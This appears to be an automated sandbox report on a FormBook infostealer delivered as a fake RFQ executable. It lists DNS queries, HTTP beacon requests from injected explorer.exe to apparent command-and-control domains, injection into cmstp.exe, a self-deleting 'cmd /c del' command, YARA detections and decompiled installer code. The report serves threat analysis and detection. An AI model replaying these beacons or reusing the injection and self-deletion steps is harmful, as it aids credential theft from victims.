May 31, 2021 10:57:36.958591938 CEST	8.8.8.8	192.168.2.4	0xe124	No error (0)	www.svenskagourmet.com	svenskagourmet.com		CNAME (Canonical name)	IN (0x0001)
May 31, 2021 10:57:36.958591938 CEST	8.8.8.8	192.168.2.4	0xe124	No error (0)	svenskagourmet.com		34.102.136.180	A (IP address)	IN (0x0001)
May 31, 2021 10:57:42.264597893 CEST	8.8.8.8	192.168.2.4	0xa8de	Name error (3)	www.yunastone.com	none	none	A (IP address)	IN (0x0001)
May 31, 2021 10:57:47.350898981 CEST	8.8.8.8	192.168.2.4	0x81	No error (0)	www.blissburg.site		203.170.80.250	A (IP address)	IN (0x0001)
May 31, 2021 10:57:53.001511097 CEST	8.8.8.8	192.168.2.4	0xc5eb	No error (0)	www.woxingame.com	prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
May 31, 2021 10:57:53.001511097 CEST	8.8.8.8	192.168.2.4	0xc5eb	No error (0)	prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com		52.14.32.15	A (IP address)	IN (0x0001)
May 31, 2021 10:57:53.001511097 CEST	8.8.8.8	192.168.2.4	0xc5eb	No error (0)	prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com		3.143.65.214	A (IP address)	IN (0x0001)
May 31, 2021 10:57:53.001511097 CEST	8.8.8.8	192.168.2.4	0xc5eb	No error (0)	prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com		13.59.53.244	A (IP address)	IN (0x0001)
May 31, 2021 10:57:58.396001101 CEST	8.8.8.8	192.168.2.4	0xc896	No error (0)	www.postingyourvideos.com	postingyourvideos.com		CNAME (Canonical name)	IN (0x0001)
May 31, 2021 10:57:58.396001101 CEST	8.8.8.8	192.168.2.4	0xc896	No error (0)	postingyourvideos.com		34.102.136.180	A (IP address)	IN (0x0001)
May 31, 2021 10:58:03.653400898 CEST	8.8.8.8	192.168.2.4	0xfa2c	No error (0)	www.worldleadersretail.com	worldleadersretail.com		CNAME (Canonical name)	IN (0x0001)
May 31, 2021 10:58:03.653400898 CEST	8.8.8.8	192.168.2.4	0xfa2c	No error (0)	worldleadersretail.com		34.102.136.180	A (IP address)	IN (0x0001)
May 31, 2021 10:58:09.214457035 CEST	8.8.8.8	192.168.2.4	0x7183	Name error (3)	www.uxdnxodpo.icu	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.lovelivehuntingtonbeach.com

www.ethnicbucket.com

www.yihetubu.com

www.jackgaughan.net

www.svenskagourmet.com

www.blissburg.site

www.woxingame.com

www.postingyourvideos.com

www.worldleadersretail.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49761	184.168.131.241	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:09.451337099 CEST	3791	OUT	GET /u6e4/?t4qdXV=CbISCmB8sALYRm43rvC4fcDq5pH3eBLJsB81uBg49gbXdFC2F2f7O9412Hx1L/M35YRT&irj=3fI8l HTTP/1.1 Host: www.lovelivehuntingtonbeach.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:57:09.674194098 CEST	3792	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Mon, 31 May 2021 08:57:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://www.facebook.com/LoveLiveOrangeCounty/?t4qdXV=CbISCmB8sALYRm43rvC4fcDq5pH3eBLJsB81uBg49gbXdFC2F2f7O9412Hx1L/M35YRT&irj=3fI8l Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49767	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:15.152031898 CEST	7048	OUT	GET /u6e4/?t4qdXV=1Ag9ExnESK7U82VQOm1M+YnyBIbP0hMcKxvGolus3vwkBQCEu8PVj/BfwiE3/mbWqrPj&irj=3fI8l HTTP/1.1 Host: www.ethnicbucket.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:57:15.290328026 CEST	7049	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Mon, 31 May 2021 08:57:15 GMT Content-Type: text/html Content-Length: 275 ETag: "60b14ede-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49768	172.67.175.134	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:20.424875975 CEST	7793	OUT	GET /u6e4/?t4qdXV=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt&irj=3fI8l HTTP/1.1 Host: www.yihetubu.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49769	154.83.72.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:26.464766979 CEST	7793	OUT	GET /u6e4/?t4qdXV=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&irj=3fI8l HTTP/1.1 Host: www.jackgaughan.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:57:26.775840044 CEST	7794	IN	HTTP/1.1 404 Not Found Transfer-Encoding: chunked Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Mon, 31 May 2021 08:57:26 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49770	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:37.003576994 CEST	7795	OUT	GET /u6e4/?t4qdXV=nbIk/W4He5pEO10O42RPfud1B4qKkcIU8tgfj5p6eYWGlacmbNOaBhLsz0ZNYc8flD0M&irj=3fI8l HTTP/1.1 Host: www.svenskagourmet.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:57:37.144922018 CEST	7795	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Mon, 31 May 2021 08:57:37 GMT Content-Type: text/html Content-Length: 275 ETag: "60a52c0b-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49773	203.170.80.250	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:47.591732025 CEST	7815	OUT	GET /u6e4/?t4qdXV=AsQ3LTxB6JDgjycstGcHMn5yf4EAfqSQ7ymvrjSnYLkUc6ivScYNj7IBAsLl1nyAlkLj&irj=3fI8l HTTP/1.1 Host: www.blissburg.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49774	52.14.32.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:53.141675949 CEST	7816	OUT	GET /u6e4/?t4qdXV=9rE/Ks+RPzf53nSCy0UMAVO/zIaWjpJDhxMXvZjTDQIR09Z4R8LijSxlwajnAMXj98rk&irj=3fI8l HTTP/1.1 Host: www.woxingame.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:57:53.280592918 CEST	7817	IN	HTTP/1.1 404 Not Found Date: Mon, 31 May 2021 08:57:53 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49775	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:57:58.440459967 CEST	7818	OUT	GET /u6e4/?t4qdXV=H2bTtnUfaNTDdYSmtEWFeD7sEtgyf8lXRu6X46uTKdx+YOLZfjgo+Z2uQhG3A01bXoBA&irj=3fI8l HTTP/1.1 Host: www.postingyourvideos.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:57:58.578387022 CEST	7819	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Mon, 31 May 2021 08:57:58 GMT Content-Type: text/html Content-Length: 275 ETag: "60b14ede-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49776	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2021 10:58:03.700220108 CEST	7820	OUT	GET /u6e4/?t4qdXV=LIxE2WrI46mvj7W57xDFy09FTT0JDHaGVlnSUbgkNeRFJqaK8aSY0aAsU1uS13xjmxMv&irj=3fI8l HTTP/1.1 Host: www.worldleadersretail.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 31, 2021 10:58:03.840563059 CEST	7821	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Mon, 31 May 2021 08:58:03 GMT Content-Type: text/html Content-Length: 275 ETag: "60b14ede-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: RE; KOC RFQ for Flangers - RFQ 22965431.exe PID: 6960 Parent PID: 5912

General

Start time:	10:56:03
Start date:	31/05/2021
Path:	C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'
Imagebase:	0x400000
File size:	213907 bytes
MD5 hash:	885D94826EAA427258E85A7AAED9E3D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: RE; KOC RFQ for Flangers - RFQ 22965431.exe PID: 6992 Parent PID: 6960

General

Start time:	10:56:04
Start date:	31/05/2021
Path:	C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'
Imagebase:	0x400000
File size:	213907 bytes
MD5 hash:	885D94826EAA427258E85A7AAED9E3D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 6992

General

Start time:	10:56:09
Start date:	31/05/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmstp.exe PID: 4768 Parent PID: 3424

General

Start time:	10:56:30
Start date:	31/05/2021
Path:	C:\Windows\SysWOW64\cmstp.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmstp.exe
Imagebase:	0xf30000
File size:	82944 bytes
MD5 hash:	4833E65ED211C7F118D4A11E6FB58A09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6788 Parent PID: 4768

General

Start time:	10:56:34
Start date:	31/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6796 Parent PID: 6788

General

Start time:	10:56:35
Start date:	31/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: RE; KOC RFQ for Flangers - RFQ 22965431.exe PID: 6960 Parent PID: 5912 RE; KOC RFQ for Flangers - RFQ 22965431.exeCOMMON

Executed Functions

Function 004030CB, Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_() {
				struct _SHFILEINFOA _v360;
				struct _SECURITY_ATTRIBUTES* _v376;
				char _v380;
				CHAR* _v384;
				char _v396;
				int _v400;
				int _v404;
				CHAR* _v408;
				intOrPtr _v412;
				int _v416;
				intOrPtr _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				void* _v432;
				int _t34;
				CHAR* _t39;
				char* _t42;
				signed int _t44;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				int _t56;
				signed int _t60;
				void* _t79;
				void* _t89;
				void* _t91;
				char* _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				signed int _t100;
				signed int _t103;
				CHAR* _t105;
				signed int _t106;
				char _t120;

				_v376 = 0;
				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
				_t99 = 0;
				_v380 = 0x20;
				__imp__#17();
				_t34 = SetErrorMode(0x8001); // executed
				__imp__OleInitialize(0); // executed
				 *0x423f38 = _t34;
				 *0x423e84 = E00405CFF(8);
				SHGetFileInfoA(0x41f430, 0,  &_v360, 0x160, 0); // executed
				E004059DD(0x423680, "NSIS Error");
				_t39 = GetCommandLineA();
				_t96 = "\"C:\\Users\\jones\\Desktop\\RE; KOC RFQ for Flangers - RFQ 22965431.exe\" ";
				E004059DD(_t96, _t39);
				 *0x423e80 = GetModuleHandleA(0);
				_t42 = _t96;
				if("\"C:\\Users\\jones\\Desktop\\RE; KOC RFQ for Flangers - RFQ 22965431.exe\" " == 0x22) {
					_v404 = 0x22;
					_t42 =  &M00429001;
				}
				_t44 = CharNextA(E004054FB(_t42, _v404));
				_v404 = _t44;
				while(1) {
					_t91 =  *_t44;
					_t109 = _t91;
					if(_t91 == 0) {
						break;
					}
					__eflags = _t91 - 0x20;
					if(_t91 != 0x20) {
						L5:
						__eflags =  *_t44 - 0x22;
						_v404 = 0x20;
						if( *_t44 == 0x22) {
							_t44 = _t44 + 1;
							__eflags = _t44;
							_v404 = 0x22;
						}
						__eflags =  *_t44 - 0x2f;
						if( *_t44 != 0x2f) {
							L15:
							_t44 = E004054FB(_t44, _v404);
							__eflags =  *_t44 - 0x22;
							if(__eflags == 0) {
								_t44 = _t44 + 1;
								__eflags = _t44;
							}
							continue;
						} else {
							_t44 = _t44 + 1;
							__eflags =  *_t44 - 0x53;
							if( *_t44 == 0x53) {
								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000002;
									__eflags = _t99;
								}
							}
							__eflags =  *_t44 - 0x4352434e;
							if( *_t44 == 0x4352434e) {
								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000004;
									__eflags = _t99;
								}
							}
							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t44 - 2)) = 0;
								__eflags = _t44 + 2;
								E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t44 + 2);
								L20:
								_t105 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t105);
								_t48 = E00403097(_t109);
								_t110 = _t48;
								if(_t48 != 0) {
									L22:
									DeleteFileA("1033"); // executed
									_t50 = E00402C22(_t111, _t99); // executed
									_v412 = _t50;
									if(_t50 != 0) {
										L32:
										E0040344C();
										__imp__OleUninitialize();
										if(_v408 == 0) {
											__eflags =  *0x423f14;
											if( *0x423f14 != 0) {
												_t106 = E00405CFF(3);
												_t100 = E00405CFF(4);
												_t55 = E00405CFF(5);
												__eflags = _t106;
												_t97 = _t55;
												if(_t106 != 0) {
													__eflags = _t100;
													if(_t100 != 0) {
														__eflags = _t97;
														if(_t97 != 0) {
															_t60 =  *_t106(GetCurrentProcess(), 0x28,  &_v396);
															__eflags = _t60;
															if(_t60 != 0) {
																 *_t100(0, "SeShutdownPrivilege",  &_v400);
																_v416 = 1;
																_v404 = 2;
																 *_t97(_v420, 0,  &_v416, 0, 0, 0);
															}
														}
													}
												}
												_t56 = ExitWindowsEx(2, 0);
												__eflags = _t56;
												if(_t56 == 0) {
													E0040140B(9);
												}
											}
											_t52 =  *0x423f2c;
											__eflags = _t52 - 0xffffffff;
											if(_t52 != 0xffffffff) {
												_v400 = _t52;
											}
											ExitProcess(_v400);
										}
										E0040529E(_v408, 0x200010);
										ExitProcess(2);
									}
									if( *0x423e9c == 0) {
										L31:
										 *0x423f2c =  *0x423f2c | 0xffffffff;
										_v400 = E00403526();
										goto L32;
									}
									_t103 = E004054FB(_t96, 0);
									while(_t103 >= _t96) {
										__eflags =  *_t103 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t103 = _t103 - 1;
										__eflags = _t103;
									}
									_t115 = _t103 - _t96;
									_v408 = "Error launching installer";
									if(_t103 < _t96) {
										lstrcatA(_t105, "~nsu.tmp");
										if(lstrcmpiA(_t105, "C:\\Users\\jones\\Desktop") == 0) {
											goto L32;
										}
										CreateDirectoryA(_t105, 0);
										SetCurrentDirectoryA(_t105);
										_t120 = "C:\\Users\\jones\\AppData\\Local\\Temp"; // 0x43
										if(_t120 == 0) {
